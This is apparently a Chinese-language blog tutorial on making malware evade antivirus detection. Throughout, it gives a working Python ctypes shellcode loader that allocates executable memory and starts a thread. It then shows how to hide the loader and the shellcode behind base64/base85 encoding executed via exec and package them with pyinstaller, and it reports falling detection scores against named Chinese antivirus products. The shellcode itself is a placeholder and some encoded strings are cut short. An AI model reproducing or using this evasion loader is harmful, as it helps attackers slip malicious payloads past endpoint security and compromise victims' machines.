目前传统的或网上以公开的免杀方式几乎都不免杀了(见光死),所以本次免杀方式也只是分享一下思路,如果后面不免杀了再改改就可以了
- 这里使用的是python加载shellcode,原始的shellcode加载源码如下:
import ctypes
shellcode=b"这里是生成的shellcode"
#设置函数VirtualAlloc的返回类型为c_int64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#将shellcode移动到申请的内存,起始地址为c_int64类型
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
#创建线程并执行
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))
如果裸用以上的方式会被各种杀毒软件秒杀
免杀
那该如何绕过杀软不被检测到呢,现在几乎所有的杀毒厂商都是基于特征查杀的,杀软会扫描程序的字符串同时与自己的病毒特征库进行匹配,如果程序中有某些恶意函数之类的字符串被匹配到,那么杀软就会认为此程序为恶意文件直接ban掉
知道杀软的检测规则就很好办了,那就那段报毒改那段字符就行了,但是那样又太累了,此时就得做字符串全加密了,至于加密类型看个人喜好了,想让字符串运行就得用到两个函数 eval
,exec
,这里我用exec进行免杀
- 首先将上述代码放在字符串中,然后进行base64加密处理再输出
import base64
x="""ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))
"""
ex=base64.b85encode(base64.b64encode(x.encode('utf-8')))
print(ex)
- 然后复制输出的字符串,粘贴在下方解密处
import ctypes,base64
shellcode = b'这里是shellcode'
exec(base64.b64decode(base64.b85decode("Lu+J7Qb%ZUVO3;FQEO~&P*X~3WJqjx"+"T3AhWWHM}ZT0=>4No{y@Ol@>*V`)ipNo_T3Vnj`OOl(RpVns1_NoR0x"+"Q$+"WJqjxT3AhWSur^=VN*$RNo.......").decode()))
- 看下免杀效果看到评分21分就有点难受,还有两个检测到了,但是过掉主流的360,火绒,腾讯等应该无压力
- 再改,把分降下来,刚才我们shellcode并没有加密处理,只是将加载shellcode的载体进行加密了,这次都加密了试试(这里采用b85格式加密)
import base64
shellcode=b"这里是生成的shellcode"
print(base64.b85decode(shellcode))
- 复制上面输出的密文,然后粘贴在shellcode处
import ctypes,base64
encode=b'{78f3@aV_@002QzK~PdrR!A|@Wk`!sU`UHn7)Xm!AV`aHP)HBAN=i*J$w)E4tUO_S0xTdw!O0Cl0m0(!Qb.....'
shellcode=bytearray(base64.b85decode(encode))
exec(base64.b64decode(base64.b85decode("Lu+J7Qb%ZUVO3;FQEO~&P*X~3WJqjx"+"T3AhWWHM}ZT0=>4No{y@Ol@>*V`)ipNo_T3Vnj`OOl(RpVns1_NoR0x"+"Q$+"WJqjxT3AhWSur^=VN*$RNo.......").decode()))
- 最后使用pyinstaller进行打包成exe格式,安装命令:
pip insatll pyinstaller
- 微步云沙箱查杀率这次就比上次好多了,只剩10分了,免杀国内主流杀毒软件不是问题
- 经过测试 py文件内容不管是什么只要是用pyinstaller打包的程序在vt上最低为6/71(看来python的打包程序已经逐渐被拉入特征库了,不知道pyinstaller的作者该怎么想?)